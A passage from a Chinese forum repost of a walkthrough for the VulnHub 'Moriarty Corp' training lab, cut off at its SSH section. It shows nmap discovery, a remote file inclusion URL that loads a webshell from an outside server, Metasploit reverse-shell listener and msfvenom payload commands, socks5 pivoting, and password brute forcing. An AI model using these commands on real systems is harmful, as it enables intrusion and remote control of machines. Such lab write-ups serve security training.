搜索

[27029] 2020-06-30_MoriartyCorp靶场攻略

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-06-30_MoriartyCorp靶场攻略 M o r i a r t y   C o r p 靶 场 攻 略 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 6 - 3 0 以 下 文 章 来 源 于 贝 塔 安 全 实 验 室   ， 作 者 a - r u n n i n g - s n a i l 点 击 上 方 “ 蓝 字 ” 关 注 公 众 号 获 取 最 新 信 息 ! 本 文 作 者 ： a - r u n n i n g - s n a i l （ 贝 塔 安 全 实 验 室 ） M o r i a r t y   C o r p 靶 场 环 境 包 含 一 台 外 网 服 务 器 和 三 台 内 网 主 机 ， 攻 击 者 需 先 对 外 网 服 务 器 进 行 w e b 攻 击 ， 依 据 提 交 f l a g 后 的 提 示 信 息 ， 逐 步 获 取 内 网 主 机 权 限 。 本 次 靶 场 环 境 包 含 以 下 1 0 个 关 键 部 分 ： 靶 场 环 境 暴 力 破 解 主 机 发 现 文 件 上 传 文 件 包 含 S S H 弱 口 令 p a y l o a d 反 弹 任 意 密 码 修 改 添 加 代 理 远 程 代 码 执 行 内 网 探 测 个 人 总 结 1 .     靶 场 环 境 靶 场 环 境 本 次 所 使 用 的 攻 击 机 为 k a l i l i n u x 系 统 ， 攻 击 过 程 中 涉 及 到 的 工 具 主 要 有 ： 公 网 主 机 V P S ， 中 国 菜 刀 / 中 国 蚂 剑 ， b u r p s u i t e ， m s f ， M o b a X t e r m ， 一 句 话 木 马 ， p r o x y c h a i n s ， n m a p ， s e a r c h s p l o i t ， e x p 脚 本 等 。 攻 击 的 拓 扑 结 构 如 下 图 所 示 。 注 意 注 意 :   外 网 服 务 器 ( 8 0 0 0 端 口 ) 为 提 交 f l a g 以 及 攻 击 提 示 处 ， 并 不 存 在 漏 洞 ， 请 不 要 进 行 攻 击 行 为 。 F l a g 的 存 储 格 式 为 # _ f l a g . t x t ， 通 常 存 储 贝 塔 安 全 实 验 室 贝 塔 安 全 实 验 室   . 致 力 于 网 络 安 全 攻 防 研 究 ！
在 服 务 器 的 不 同 目 录 下 面 。 每 次 提 交 f l a g 后 都 会 给 相 关 提 示 和 说 明 。 开 始 渗 透 之 前 须 向 外 网 服 务 器 ( 8 0 0 0 端 口 ) 提 交 f l a g { s t a r t } ， 表 示 攻 击 开 始 正 常 启 动 。 本 次 实 验 的 虚 拟 机 采 用 v i r t u a l   b o x . 详 细 靶 场 说 明 请 参 考 ： 详 细 靶 场 说 明 请 参 考 ： h t t p s : / / w w w . v u l n h u b . c o m / e n t r y / b o r e d h a c k e r b l o g - m o r i a r t y - c o r p , 4 5 6 / 靶 场 下 载 地 址 ： D o w n l o a d   ( M i r r o r ) : h t t p s : / / d o w n l o a d . v u l n h u b . c o m / b o r e d h a c k e r b l o g / M o r i a r t y C o r p . o v a D o w n l o a d   ( T o r r e n t ) :   h t t p s : / / d o w n l o a d . v u l n h u b . c o m / b o r e d h a c k e r b l o g / M o r i a r t y C o r p . o v a . t o r r e n t 2 .     主 机 发 现 主 机 发 现 通 过 a r p ( 地 址 解 析 协 议 ) 进 行 局 域 网 内 主 机 发 现 ， a r p 是 根 据 I P 地 址 获 取 物 理 地 址 的 一 个 T C P / I P 协 议 。 主 机 发 送 信 息 时 将 包 含 目 标 I P 地 址 的 A R P 请 求 广 播 到 网 络 上 的 所 有 主 机 ， 并 接 收 返 回 消 息 ， 以 此 确 定 目 标 的 物 理 地 址 ； 收 到 返 回 消 息 后 将 该 I P 地 址 和 物 理 地 址 存 入 本 机 A R P 缓 存 中 并 保 留 一 定 时 间 。         - s n ： 只 进 行 主 机 发 现 ， 不 进 行 端 口 扫 描 。         - P R ： A R P   P i n g 。         - T ： 指 定 扫 描 过 程 使 用 的 时 序 ， 总 有 6 个 级 别 （ 0 - 5 ） ， 级 别 越 高 ， 扫 描 速 度 越 快 ， 在 网 络 通 讯 状 况 较 好 的 情 况 下 推 荐 使 用 T 4 。 3 .     文 件 包 含 文 件 包 含 通 过 访 问 页 面 h t t p : / / I P / f i l e = n a m e . h t m l ， 可 猜 测 为 目 录 遍 历 或 者 文 件 包 含 漏 洞 ， 如 下 为 漏 洞 验 证 结 果 。 文 件 包 含 漏 洞 ， 通 常 分 为 本 地 文 件 包 含 和 远 程 文 件 包 含 。 本 地 文 件 包 含 ， 通 常 需 要 能 够 写 入 w e b s h e l l 的 文 件 进 行 包 含 ， 进 而 获 取 s h e l l 权 限 。 远 程 文 件 包 含 ， 可 对 远 程 写 入 w e b s h e l l 的 文 件 进 行 包 含 ， 获 取 s h e l l 权 限 。 如 下 为 远 程 服 务 器 t e s t . t x t 文 件 写 入 p h p i n f o ( ) ; > > >   n a m p   - s n   - P R   - T   4 1 9 2 . 1 6 8 . 1 2 4 . 0 / 2 4
访 问 页 面 对 远 程 主 机 的 t e s t . t x t 文 件 进 行 包 含 ， 验 证 远 程 文 件 漏 洞 真 实 存 在 。 这 样 可 以 在 远 程 服 务 器 写 入 w e b s h e l l 进 行 包 含 ， 进 而 获 取 M o r i a r t y   C o r p 服 务 器 的 主 机 s h e l l 权 限 。 如 下 所 示 ， 通 过 菜 刀 直 接 连 接 后 ， 可 以 获 取 到 s h e l l 权 限 。 通 过 查 看 目 录 , 在 根 目 录 查 看 到 1 _ f l a g . t x t 。 木 马 文 件 链 接 地 址 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 4 . 1 4 / ? f i l e = h t t p : / / x x . x x . x x . x x / s n a i l . t x t
将 获 取 到 的 f l a g 内 容 进 行 提 交 后 ， M o r i a r t y   C o r p 靶 场 给 出 新 的 提 示 。 如 下 图 所 示 ， 提 示 内 网 环 境 中 存 在 重 要 的 网 站 ， 里 面 存 在 要 获 取 的 f l a g 信 息 ， 并 且 告 知 内 网 范 围 在 1 7 2 . 1 7 . 0 . 3 - 2 5 4 段 。 由 此 ， 开 始 步 入 后 渗 透 攻 击 阶 段 ， 由 于 靶 场 环 境 主 要 以 l i n u x 系 统 环 境 为 主 ， 故 此 处 后 渗 透 工 具 在 此 处 选 择 m e t a s p l o i t 工 具 为 主 。 4 . P a y l o a d 反 弹 反 弹 攻 击 机 进 行 监 听 设 置 ( 注 意 ： 监 听 主 机 设 置 需 要 与 生 成 的 p a y l o a d 保 持 一 致 ) ： > > >   u s e e x p l o i t / m u l t i / h a n d l e r > > >   s e t   p a y l o a d s l i n u x / x 6 4 / m e t e r p r e t e r _ r e v e r s e _ t c p > > >   s e t   L H O S T 1 9 2 . 1 6 8 . 1 2 4 . 1 5                 # 监 听 主 机 i p 地 址 > > >   s e t   P O R T   9 9 9 9                                     # 监 听 主 机 端 口 号 > > > e x p l o i t   - j
生 成 反 弹 需 要 的 p a y l o a d 文 件 ：   将 生 成 的 文 件 上 传 到 目 标 主 机 ， 并 更 改 p a y l o a d 可 执 行 权 限 ， 并 执 行 。 > > >   m s f v e n o m   - p l i n u x / x 6 4 / m e t e r p r e t e r _ r e v e r s e _ t c p   L H O S T = I P   L P O R T = P O R T   - f   e l f   >   s h e l l . e l f > > >   c h m o d   7 7 7   s h e l l . e l f > > >   . / s h e l l . e l f
在 攻 击 端 ， 监 听 的 主 机 收 到 目 标 主 机 反 弹 的 s h e l l 权 限 ， 如 下 图 所 示 ： 5 .     添 加 代 理 添 加 代 理 根 据 提 交 f l a g 后 系 统 反 馈 的 提 示 说 明 ， 需 要 我 们 对 内 网 的 w e b 应 用 网 站 进 行 渗 透 攻 击 ， 此 时 为 了 能 够 访 问 到 内 网 ， 需 要 进 行 添 加 代 理 操 作 。 查 看 当 前 路 由 有 一 个 内 网 段 i p 地 址 段 位 1 7 2 . 1 7 . 0 . 0 / 2 4 。 执 行 指 令 添 加 路 由 操 作 。 添 加 s o c k s 5 代 理 ： > > > r u n   a u t o r o u t e   - s   1 7 2 . 1 7 . 0 . 0 / 2 4 > > > u s e   a u x i l i a r y / s e r v e r / s o c k s 5 > > > r u n
此 处 应 用 p r o x y c h a i n s 工 具 ， 进 行 内 网 探 测 ， 使 用 编 辑 器 在 文 件 / e t c / p r o x y c h a i n s . c o n f 的 最 后 一 行 加 入 s o c k s 5 代 理 的 配 置 信 息 。 6 .   内 网 探 测 内 网 探 测 通 过 执 行 代 理 工 具 p r o x y c h a i n s ， 对 M o r i a r t y   C o r p 内 网 w e b 服 务 进 行 探 测 ， 可 以 发 现 主 机 i p 地 址 为 1 7 2 . 1 7 . 0 . 4 。 执 行 指 令 如 下 所 示 ： 7 . 暴 力 破 解 暴 力 破 解 此 时 通 过 浏 览 器 是 不 能 访 问 到 内 网 服 务 器 ， 需 要 在 浏 览 器 配 置 代 理 进 行 访 问 ， 配 置 代 理 类 型 选 择 s o c k s 5 ， 本 地 端 口 为 1 0 8 0 。 配 置 好 以 后 ， 就 能 通 过 代 理 访 问 内 网 w e b 应 用 了 。 - - -     s n i p p e t   - - - [ P r o x y L i s t ] #     a d d   p r o x y   h e r e   . . . #     m e a n w i l e #     d e f a u l t s   s e t   t o   " t o r " s o c k s 5     1 2 7 . 0 . 0 . 1   1 0 8 0 > > > P r o x y c h a i n s   n m a p   1 7 2 . 1 7 . 0 . 0 / 2 4   - s V     - s T     - P n     - T 4   - p 8 0
通 过 浏 览 页 面 可 发 现 ， 为 一 个 文 件 上 传 页 面 ， 但 是 上 传 需 要 输 入 口 令 ， 方 可 操 作 成 功 。 此 时 考 虑 可 通 过 b u r p s u i t e 进 行 拦 截 后 ， 口 令 破 解 。 打 开 b u r p s u i t e 后 ， 需 要 添 加 代 理 ， 这 样 才 能 将 拦 截 到 的 数 据 正 确 发 送 到 目 标 服 务 器 ， 配 置 过 程 如 下 所 示 ：  
对 拦 截 的 数 据 更 改 口 令 字 段 ， 添 加 常 用 字 典 ， 此 处 用 的 字 为 ： t o p 1 0 0 0 . t x t 。 查 看 破 解 成 功 字 段 的 真 实 口 令 为 p a s s w o r d 。 8 . 文 件 上 传 文 件 上 传 如 下 图 所 示 ， 成 功 将 木 马 上 传 至 服 务 器 ：
常 用 的 菜 刀 ， C k n i f e 等 工 具 并 不 存 在 代 理 功 能 ， 此 处 使 用 中 国 蚁 剑 工 具 进 行 连 接 ， 配 置 蚁 剑 代 理 如 下 所 示 ：   成 功 连 接 到 内 网 的 s h e l l 后 ， 访 问 目 标 系 统 不 同 目 录 ， 获 取 第 二 个 f l a g 文 件 ： 2 _ f l a g . t x t 9 .   S S H 弱 口 令 弱 口 令
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理